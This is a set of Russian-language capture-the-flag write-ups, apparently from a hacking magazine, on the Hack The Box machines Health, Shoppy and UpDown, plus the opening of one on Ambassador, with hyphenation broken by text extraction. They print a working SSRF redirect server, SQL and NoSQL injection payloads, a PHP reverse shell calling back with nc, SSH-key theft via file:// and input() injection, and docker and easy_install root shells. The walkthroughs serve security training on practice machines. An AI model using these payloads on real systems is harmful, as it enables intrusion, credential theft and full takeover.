 class Serv(BaseHTTPRequestHandler):
   def do_GET(self):

        print("GET " + str(self.path))
      print(str(self.headers))
      self.send_response(200)

       self.send_header('Content-type', 'text/html')
      self.end_headers()
      self.wfile.write("<test>RALF_SERVER<test>".encode('utf-8'))

Ло ги веб-сер вера

И теперь видим, что в дан ных POST-зап роса нам переда ют наш же ответ
на GET-зап рос. Зна чит, нуж но про верить, нет ли здесь воз можнос ти для экс -
плу ата ции SSRF — то есть воз можнос ти под делки зап росов.

ÒÎ×ÊÀ ÎÏÎÐÛ

SSRF

Пер вым делом я поп робовал доб рать ся до фай ла , для чего ука -

зал в качес тве URL , но получил сле дующее пре -

дуп режде ние.

/etc/passwd
file:///etc/passwd/id_rsa

Пре дуп режде ние при зап росе фай ла

Зап росить дан ные с адре са 127.0.0.1 тоже не выш ло, но я вспом нил ста рый
трюк с редирек том. Так как про водит ся филь тра ция имен но вве ден ных в поле
URL дан ных, мы можем обра тить ся к 127.0.0.1 в обход это го поля. Для это го
нам нуж но отпра вить чекер на свою стра ницу, которая переш лет кли ента
на 127.0.0.1. Изме ним метод  для выпол нения редирек та.do_GET

 def do_GET(self):
   self.send_response(301)
    self.send_header('Location', 'http://127.0.0.1/')
   self.end_headers()

Пов торя ем ата ку и получа ем уже зна комую стра ницу самого же сер вера, что
под твержда ет наличие уяз вимос ти SSRF.

Эк сфиль тра ция дан ных

Для поис ка пор тов, которые могут быть откры ты для под клю чения с локаль ного
хос та, мож но вос поль зовать ся SYN-ска ниро вани ем.

nmap   sudo -p- -sS --min-rate=1500 health.htb

Ре зуль тат ска ниро вания пор тов

На ходим порт 3000, который как раз филь тру ется. Поп робу ем вытянуть дан -
ные с него. Ука зыва ем дру гой URL в обра бот чике GET:

 self.send_header('Location', 'http://127.0.0.1:3000/')

Для удобс тва я нем ного изме нил обра бот чик POST, что бы из отве та сер вера
авто мати чес ки извле кал ся код HTML, сох ранял ся в файл и откры вал ся в бра -
узе ре.

 def do_POST(self):
        content_length = int(self.headers['Content-Length'])

        post_data = self.rfile.read(content_length)
      print(post_data.decode('utf-8'))

         f = open('page.html', 'wt')
      f.write(json.loads(post_data.decode('utf-8'))['body'])
      f.close()

       subprocess.run(["firefox", "page.html"])
      self.send_response(200)

       self.send_header('Content-type', 'text/html')
      self.end_headers()

Де лаем новый зап рос и в открыв шемся бра узе ре видим стра ницу авто риза ции
Gogs.

По лучен ные дан ные

Эта стра ница рас кры вает нам вер сию плат формы, что поможет при поис ке
извес тных уяз вимос тей. Один зап рос к Google, и пер вая же ссыл ка дает нам
опи сание готово го .экс пло ита

Ре зуль тат поис ка в Google

Та ким обра зом мы узна ем, что в этой вер сии Gogs есть воз можность про вес ти
SQL-инъ екцию на стра нице  через параметр .search q

Опи сание спо соба экс плу ата ции

Для экс плу ата ции нам нуж но толь ко менять URL в коде нашего обра бот чика
GET-зап росов. При веден ный в PoC при мер у меня не сра ботал, поэто му
приш лось нем ного перера ботать зап рос. Вытянуть вер сию не получи лось,
но зато добива емся выпол нения вло жен ного SQL-зап роса .select '123'

qwe
123

http://127.0.0.1:3000/api/v1/users/search?q= ')/**/union/**/all/
**/select/**/null,null,(select/**/' '),null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null/**/--/**/

По лучен ные дан ные

ÏÐÎÄÂÈÆÅÍÈÅ

Gogs SQL Injection

Итак, мы можем выпол нять зап росы, но получить информа цию о струк туре таб -
лицы у меня не выш ло. Поэто му я ска чал  и порыл ся в них. Там
находим струк туру .

ис ходни ки Gogs
User

Струк тура User

Нас здесь инте ресу ют поля ,  и .name passwd salt

qwehttp://127.0.0.1:3000/api/v1/users/search?q= ')/**/union/**/all/
**/select/**/null,null,(select/**/name/**/from/**/user),null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null/**/--/**/

По луче ние име ни поль зовате ля

qwehttp://127.0.0.1:3000/api/v1/users/search?q= ')/**/union/**/all/
**/select/**/null,null,(select/**/passwd/**/from/**/user),null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null/**/--/**/

По луче ние хеша пароля поль зовате ля

qwehttp://127.0.0.1:3000/api/v1/users/search?q= ')/**/union/**/all/
**/select/**/null,null,(select/**/salt/**/from/**/user),null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null/**/--/**/

По луче ние соли для хеширо вания

Те перь нуж но разоб рать ся с алго рит мом хеширо вания. Так, в 
находим упо мина ние самого алго рит ма.

issue на GitHub

Ин форма ция об алго рит ме хеширо вания

И уже по клю чево му сло ву находим сам код в исходни ках.

Ис ходный код фун кции EncodePassword

У нас есть все парамет ры для перебо ра хеша. При водим его к фор мату
hashcat:

 

  | 

echo
'66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d
6c032f0fd4ef83f48d74349ec196f4efe37'
| xxd -r -ps base64

  | echo 'sO3XIbeW14' base64

Пре обра зова ние к фор мату hashcat

А теперь бру тим хеш, для чего ука зыва ем режим 10900:

hashcat -m 10900 sha.hash rockyou.txt

Ре зуль тат перебо ра

С получен ным паролем под клю чаем ся по SSH и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь, ког да мы получи ли дос туп к хос ту, нам нуж но соб рать информа цию,
которая поможет в повыше нии при виле гий. Источни ков очень мно го, и для
авто мати зации поис ков я обыч но исполь зую скрип ты . С их помощью
обна ружи ваем учет ные дан ные для под клю чения к базе дан ных.

PEASS

Пе ремен ные окру жения

Боль ше ничего най ти не уда лось, да и сама база ничего нам не дала. Тог да
отсле дим запус каемые на хос те про цес сы с помощью . Прос тое ожи -
дание ничего не дало — все спо кой но. Тог да поп робу ем прой ти по всем фун -
кци ям сай та и пос мотреть, при ведет ли это к выпол нению каких-либо прог -
рамм в сис теме. Пос ле соз дания веб-хука в кон соли посыпа лись логи.

pspy64

Соз дание веб-хука

Ло ги pspy

Под клю чим ся к базе дан ных и пос мотрим содер жимое таб лицы .tasks

  mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+

   select * from tasks;

Со дер жимое таб лицы tasks

И получа ем ука зан ный нами URL, дан ные по которо му будут отправ лены
на наш сер вер! В самом начале про хож дения я пытал ся получить содер жимое
фай ла, но помешал филь тр. Теперь же мы можем, минуя филь тры, прос то под -
менить запись в базе дан ных. Эксфиль тро вать поп робу ем при ват ный SSH-
ключ рута.

update tasks set monitoredUrl='file:///root/.ssh/id_rsa';

Из менение дан ных в таб лице tasks

Ло ги лис тенера

И на откры тый лис тенер при лета ет зап рос, где мы можем най ти SSH-ключ
поль зовате ля root. С этим клю чом под клю чаем ся к сис теме и забира ем вто рой
флаг.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.exploit-db.com/exploits/35238
https://github.com/gogs/gogs
https://github.com/gogs/gogs/issues/1734
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy


HTB

SHOPPY

ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ ГРУППУ DOCKER

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу раз ные тех ники
ска ниро вания веб-сай та, затем про экс -
плу ати руем инъ екцию NoSQL, что бы обой -
ти авто риза цию. Под конец про хож дения
раз берем ся с поль зователь ским менед -
жером паролей и повысим при виле гии
через груп пу Docker.

На шей целью будет зах ват тре ниро воч ной машины Shoppy с пло щад ки 
.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.180    shoppy.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел нам два откры тых пор та: 22 — служ ба OpenSSH 8.4p1 и 80 —
веб-сер вер Nginx 1.23.1. Естес твен но, начина ем с веб-сер вера.

Глав ная стра ница сай та http://shoppy/

На самом сай те ничего инте рес ного най ти не уда лось, поэто му прис тупа ем
к ска ниро ванию на пред мет скры тых катало гов и фай лов.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL.• -u

ffuf   
 256

-u 'http://shoppy.htb/FUZZ' -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Так получа ем стра ницу авто риза ции, с которой мы, ско рее все го, и нач нем
наше тес тирова ние сай та.

Стра ница авто риза ции http://shoppy/login

Не забыва ем прос каниро вать и под домены, исполь зовать мож но все тот же
ffuf. В этот раз будем переби рать заголо вок  (параметр ). Но в ответ
попадут абсо лют но все вари анты, поэто му отфиль тру ем вари анты по раз меру.

Host -H

ffuf     
 256 

-u 'http://shoppy.htb/' -H 'Host: FUZZ.shoppy.htb' -w 
bitquark-subdomains-top100000.txt -t -f
s 169

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим еще один сайт и добав ляем его в :/etc/hosts

10.10.11.180 shoppy.htb mattermost.shoppy.htb

Стра ница авто риза ции http://mattermost.shoppy/

ÒÎ×ÊÀ ÂÕÎÄÀ

Так как по адре су  рас положен готовый про дукт, а на

 — самопис ный сер вис, нач нем со вто рого. Пер вым делом я
решил переб рать по сло варю раз ные наг рузки для обхо да авто риза ции —
от учет ных дан ных  до инъ екций SQL и LDAP. Делать такие

перебо ры удоб нее все го с помощью .

mattermost.shoppy.htb
shoppy.htb

admin:admin
Burp Intruder

Burp Intruder — вклад ка Positions

В резуль татах перебо ра видим мно го отве тов, раз мер которых равен 318 бай -
там, но есть и выбива ющиеся из обще го спис ка. При этом в самом отве те нам
выда ют cookie и отправ ляют на стра ницу ./admin

Burp Intruder — резуль тат перебо ра

Об наружи ваем, что наг рузка  в поле логина экс плу ати рует NoSQL-

инъ екцию, что помога ет обой ти авто риза цию.

'||2||'

Ад минис тра тив ная панель сай та

В вер хнем углу видим кноп ку поис ка. Ско рее все го, это и даст нам даль -
нейший век тор ата ки. Перехо дим к поис ку и вво дим любую ком бинацию.

Фор ма поис ка поль зовате лей

Тут боль ше все го прив лека ет вни мание URL:

http://shoppy.htb/admin/search-users?username=qwe

По пыт ки «про тыкать кавыч ки и скоб ки» ни к чему не при вели. Но так как это
фун кция, работа ющая с име нами поль зовате лей, давай перебе рем воз можные
име на.

ÒÎ×ÊÀ ÎÏÎÐÛ

Для перебо ра сно ва исполь зуем Burp Intruder. А сло варь для перебо ра имен
берем из зна мени того набора сло варей .SecLists

Burp Intruder — вклад ка Positions

Ре зуль тат перебо ра

В ито ге получа ем два дос тупных логина:  и . Пер вый мы уже зна ли

и до это го, но он нам ничего не дал, поэто му в бра узе ре вби ваем вто рого
поль зовате ля и получа ем ссыл ку на экспорт каких-то дан ных:

admin josh

http://shoppy.htb/exports/export-search.json

Дан ные поль зовате ля josh

Па роль похож на хеш MD5, поэто му вос поль зуем ся сай том 

для поис ка про обра за.

CrackStation

Ре зуль тат взло ма хеша

На SSH залоги нить ся не выш ло, но зато получа ем дос туп к Mattermost, а так
как это кор поратив ный чат, то не исклю чена воз можность най ти что-то инте -
рес ное.

Глав ная панель Mattermost

В ито ге в одном из чатов нам уда лось най ти учет ные дан ные для под клю чения
к какой-то машине.

Чат Deploy Machine

С най ден ными учет ными дан ными под клю чаем ся к хос ту и забира ем пер вый
флаг.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

 для Linux ничего не показал, кро ме того, что для про вер ки
sudoers нуж но ввес ти пароль поль зовате ля. Поэто му про веря ем в руч ном
режиме.

Скрипт PEASS

 sudo -l

Нас трой ки sudoers

Та ким обра зом, мы можем выпол нить при ложе ние 

 от име ни поль зовате ля  без вво да пароля. Это исполня емый

ELF-файл.

/home/deploy/password-
manager deploy

Вы вод ути литы le

Пос коль ку перед нами менед жер паролей, поп робу ем его про ана лизи ровать.
Ска чива ем файл с уда лен ного хос та на локаль ный и закиды ваем в любой удоб -
ный деком пилятор.

scp jaeger@10.10.11.180:/home/deploy/password-manager ./

Я, как всег да, исполь зую  с Hex-Rays. Прог рамма, по всей видимос ти,

написа на на C++. Сра зу в глав ной фун кции находим пароль от прог раммы —
. Вот такой пло хой менед жер паролей (ну и машина лег кая, для нович -

ков).

IDA Pro

Sample

Псев докод фун кции main

Вво дим най ден ный пароль в менед жер и получа ем учет ные дан ные дру гого
поль зовате ля.

 sudo -u deploy /home/deploy/password-manager

По луче ние новых учет ных дан ных

Ло каль но меня ем поль зовате ля с помощью .su

Сес сия поль зовате ля deploy

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сно ва про водить раз ведку нет смыс ла, так как всю информа цию мы уже соб -
рали. Но пос ле выпол нения коман ды  обра тим вни мание, что мы сос тоим

в груп пе , а это дает нам пра во его запус кать. В слу чаях, ког да нам раз -

решено запус кать фай лы, для запус ка которых в обыч ной сре де нуж ны при -
виле гии, я обра щаюсь к базе .

id
docker

GTFOBins

 — это спи сок исполня емых фай лов Unix, которые мож но исполь -

зовать для обхо да локаль ных огра ниче ний безопас ности в неп равиль но нас -
тро енных сис темах. Про ект собира ет закон ные фун кции дво ичных фай лов Unix,
которы ми мож но зло упот реблять, что бы получить дос туп к коман дным обо лоч -
кам, повысить при виле гии или передать фай лы.

GTFOBins

На ходим готовый рецепт для Docker и исполь зуем его.

Инс трук ция получе ния управле ния с помощью фай ла Docker

 docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Флаг рута

Ма шина зах вачена!
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UPDOWN

ЭКСПЛУАТИРУЕМ
RACE CONDITION

ПРИ АТАКЕ НА ВЕБ-СЕРВЕР

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я под робно покажу,
как искать скры тые дан ные на сай те,
затем покопа емся в его исходни ках
и получим RCE при экс плу ата ции Race
Condition. Для пол ного зах вата хос та
исполь зуем ошиб ку в прог рамме на Python
и при меним одну из тех ник GTFOBins.

На ша цель — зах ватить учеб ную машину UpDown с пло щад ки .
Уро вень слож ности отме чен как сред ний.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.177    updown.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 — веб-сер -
вер Apache 2.4.41. На веб-сер вере нас встре чает чекер сай тов.

Глав ная стра ница сай та updown.htb

Глав ная стра ница рас кры вает нам реаль ный домен — . Поэто му
добав ляем запись в файл :

siteisup.htb
/etc/hosts

10.10.11.177 updown.htb siteisup.htb

За тем я попытал ся пос лать зап рос на свой прос тень кий HTTP-сер вер, который
мож но запус тить коман дой . В ито ге я получил

ответ, содер жащий стра ницу HTML в тек сто вом виде, а в логах сво его сер вера
уви дел сле дующий GET-зап рос.

python3 -m http.server 80

Ре зуль тат про вер ки хос та

На сай те боль ше ничего инте рес ного най ти не уда лось, поэто му прис тупим
к ска ниро ванию.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL.• -u

За пус каем :ffuf

ffuf   
 256

-u 'http://siteisup.htb/FUZZ' -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

На ходим инте рес ный каталог  и пов торя ем ска ниро вание уже в нем.dev

ffuf    
256

-u 'http://siteisup.htb/dev/FUZZ' -w files_interesting.txt -t

Ре зуль тат ска ниро вания фай лов с помощью ffuf

И обна ружи ваем репози торий Git, а это явная точ ка вхо да.

ÒÎ×ÊÀ ÂÕÎÄÀ

Те перь нам нуж но сдам пить най ден ный репози торий, для чего есть набор
скрип тов  или спе циаль ное средс тво . На этот раз
вос поль зуем ся вто рым.

dvcs-ripper git-dumper

git-dumper http://siteisup.htb/dev/ dev

Пос ле заг рузки репози тория нуж но иссле довать не толь ко исходный код, но и
вне сен ные изме нения. Для удобс тва пред став ления я исполь зую прог рамму

, которую надо открыть из дирек тории, где рас положен каталог .gitk .git

Пред став ление репози тория в gitk

В репози тории находим файл , который отсутс тву ет на самом сай те,

а это зна чит, что нам нуж но най ти новый сайт. Для это го с помощью ffuf прос -
каниру ем под домены. При запус ке добавим параметр  — заголо вок HTTP.

admin.php

-H

ffuf  256 
 

-u http://siteisup.htb/ -t -w subdomains-top1million-
110000.txt -H 'Host: FUZZ.siteisup.htb'

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим под домен  и добав ляем его в файл .dev /etc/hosts

10.10.11.177 updown.htb siteisup.htb dev.siteisup.htb

Но к сай ту нет дос тупа.

Ошиб ка при обра щении к сай ту

Тог да воз вра щаем ся к репози торию и находим там файл , который

и содер жит пра вила дос тупа.

.htaccess

Со дер жимое фай ла .htaccess

В фай ле видим запись  — обя -
затель ный HTTP-заголо вок  со зна чени ем . Так как всю

работу я про вожу через , то у меня есть воз можность авто мати чес -

ки встра ивать заголо вок во все зап росы. Для это го нуж но перей ти к вклад ке
Options и най ти раз дел Match and Replace, где и соз даем новое пра вило
замены.

Special-Dev "only4dev" Required-Header
Special-Dev only4dev

Burp Proxy

Соз дание нового пра вила замены в Burp Proxy

Пос ле при мене ния соз данно го пра вила обновля ем стра ницу и получа ем тот же
сайт, но с воз можностью заг рузки фай ла.

Глав ная стра ница сай та dev.updown.htb

Воз вра щаем ся к исходно му коду и находим пра вило про вер ки типа и фор мата
заг ружа емо го фай ла.

Со дер жимое фай ла checker.php

Так, у заг ружа емо го фай ла прос то про веря ется рас ширение — срав нива ется
с теми, что есть в чер ном спис ке. Вот толь ко в спис ке нет рас ширения ,
которое исполня ется так же, как и . В допол нение к это му мы узна ем

и путь заг ружа емых фай лов.

.phar
.php

Со дер жимое фай ла checker.php

Фай лы заг ружа ются в каталог , затем из каж дой

стро ки извле кает ся адрес сай та, выпол няет ся зап рос, и пос ле про вер ки всех
сай тов файл уда ляет ся. Таким обра зом, мы можем заг рузить файл, содер -
жащий код на PHP, и успеть его выпол нить до уда ления!

/uploads/.md5(time())/

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/kost/dvcs-ripper
https://github.com/arthaud/git-dumper


HTB UPDOWN
ЭКСПЛУАТИРУЕМ
RACE CONDITION

ПРИ АТАКЕ НА ВЕБ-СЕРВЕР

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Так как сай ты в заг ружа емом фай ле дол жны быть раз ные, что бы про веря лись
все, я решил соз дать спи сок при помощи .
Записы ваем в файл сто раз ных ссы лок и код на PHP, выводя щий :

ге нера тора слу чай ных адре сов
phpinfo()

http://site1.qw
....
<?php phpinfo(); ?>

Заг ружа ем его на сайт и перехо дим к катало гу . Мы можем пос -

мотреть его содер жимое.

uploads

Со дер жимое катало га uploads

Ви дим вло жен ный каталог, наз вание которо го — это резуль тат выпол нения
фун кции хеширо вания MD5. То, что нуж но, заходим в него.

Заг ружен ный файл PHAR

Там лежит наш файл PHAR. Выбира ем его и вни матель но прос матри ваем. Нас
инте ресу ют отклю чен ные фун кции PHP, так как боль шинс тво из них и дают нам
пра во выпол нения команд в коман дной обо лоч ке.

Стра ница phpinfo

Мно го нуж ных фун кций отклю чено, но там нет , которая поз воля ет

выпол нять про изволь ные сис темные коман ды. Под робнее с ней мож но озна -
комить ся в . Я же при веду при мер реверс-шел ла
на PHP с исполь зовани ем этой фун кции.

proc_open

офи циаль ном руководс тве

<?php
  $descriptorspec = array(

    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
     2 => array("file", "/tmp/error-output.txt", "a")

);
      $process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

  if (is_resource($process)) {
   fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&

1|nc 10.10.14.31 4321 >/tmp/f');
  fclose($pipes[0]);
   echo stream_get_contents($pipes[1]);
  fclose($pipes[1]);
    $return_value = proc_close($process);
   echo "command returned $return_value\n";

}
?>

За пус каем лис тенер (я исполь зую ), соз даем новый файл PHAR
и пов торя ем все перечис ленные выше дей ствия. Так мы получа ем сес сию
от име ни веб-сер вера на целевом хос те.

pwncat-cs

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать информа -
цию. Как обыч но, мне в этом помога ют скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

В этот раз скрипт показал, что нам дос тупны какие-то фай лы в домаш нем
катало ге дру гого поль зовате ля, при этом один из фай лов — исполня емый
с уста нов ленным S-битом.

Спи сок фай лов в домаш них катало гах дру гих поль зовате лей

Фай лы с уста нов ленным S-битом

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные сис -
темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Файл  дос тупен груп пе , но будет

работать в кон тек сте поль зовате ля . Если запус тить файл, он зап -
росит у нас URL и ска жет, работа ет сайт или нет. Я решил прос мотреть стро ки
в фай ле.

/home/developer/dev/siteisup www-data
developer

Стро ки в фай ле siteisup

Этот файл запус кает скрипт , который зап рашива ет URL
с помощью фун кции . Дело в том, что эта фун кция в Python 2 может

выпол нять код! То есть вмес то URL мы можем ввес ти код, импорти рующий
модуль OS и чита ющий при ват ный ключ SSH.

siteisup_test.py
input()

__import__('os').system('cat /home/developer/.ssh/id_rsa')

Вы пол нение кода через фун кцию input

С клю чом SSH под клю чаем ся к хос ту и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ин форма цию о сис теме мы уже собира ли, поэто му про верим нас трой ки,
которые отли чают ся у раз ных поль зовате лей. И одна из пер вых вещей, которые
нуж но про верить, — это sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки sudoers

Ока зыва ется, мы можем выпол нить вот такую коман ду от име ни поль зовате ля
 без вво да пароля ( ):root NOPASSWD

/usr/local/bin/easy_install

Easy Install — это модуль Python из биб лиоте ки setuptools, которая поз воля ет
авто мати чес ки заг ружать, собирать и уста нав ливать пакеты. А самое замеча -
тель ное — то, что easy_install есть в базе .GTFOBins

Справка: GTFOBins
GTFOBins — это спи сок исполня емых фай лов Unix, которые мож но исполь -
зовать для обхо да локаль ных огра ниче ний безопас ности в неп равиль но нас -
тро енных сис темах. Про ект собира ет закон ные фун кции дво ичных фай лов Unix,
которы ми мож но зло упот реблять, что бы получить дос туп к коман дным обо лоч -
кам, повысить при виле гии или передать фай лы.

Опи сание экс плу ата ции easy_install при sudo

Так что мы можем прос то ввес ти при веден ную коман ду и получить коман дную
обо лоч ку в при виле гиро ван ном кон тек сте.

 TF=$(mktemp -d)
 

  
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(
tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/local/bin/easy_install $TF

Флаг рута

Ма шина зах вачена!

https://www.randomlists.com/urls?qty=200
https://www.php.net/manual/en/function.proc-open.php
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://gtfobins.github.io/
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ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ CONSUL

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как читать фай лы
из Grafana, затем мы порабо таем с базой
дан ных для получе ния дос тупа к хос ту
и повысим при виле гии через Consul.

Уп ражнять ся будем на учеб ной машине Ambassador с пло щад ки .
Уро вень слож ности — сред ний.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.183    ambassador.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска ниро вание показа ло нес коль ко откры тых пор тов:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41;•
3000 — не опре делен ный веб-сер вер;•
3306 — служ ба MySQL 8.0.30.•

Пер вым делом пос мотрим на сай ты.

Глав ная стра ница http://ambassador.htb/

В пер вом же пос те находим информа цию о том, как под клю чать ся к сер веру
по SSH, и получа ем имя поль зовате ля — . Так же узна ем, что можем

где-то най ти пароль.

developer

Ин форма ция про сер вер раз работ ки

На вто ром сай те нас встре чает фор ма авто риза ции Grafana.

Глав ная стра ница http://ambassador.htb:3000/

ÒÎ×ÊÀ ÂÕÎÄÀ

Grafana — сис тема визу али зации дан ных, ори енти рован ная на сис темы
ИТ-монито рин га. Поль зовате лю пре дос тавля ются диаг раммы, гра фики и таб -
лицы с раз ными показа теля ми. На стра нице авто риза ции мы можем уви деть
вер сию плат формы — .8.2.0

Пер вым делом сто ит про верить, есть ли для обна ружен ной вер сии готовые
экс пло иты. Искать нуж но в базах вро де  и , а так же сто ит
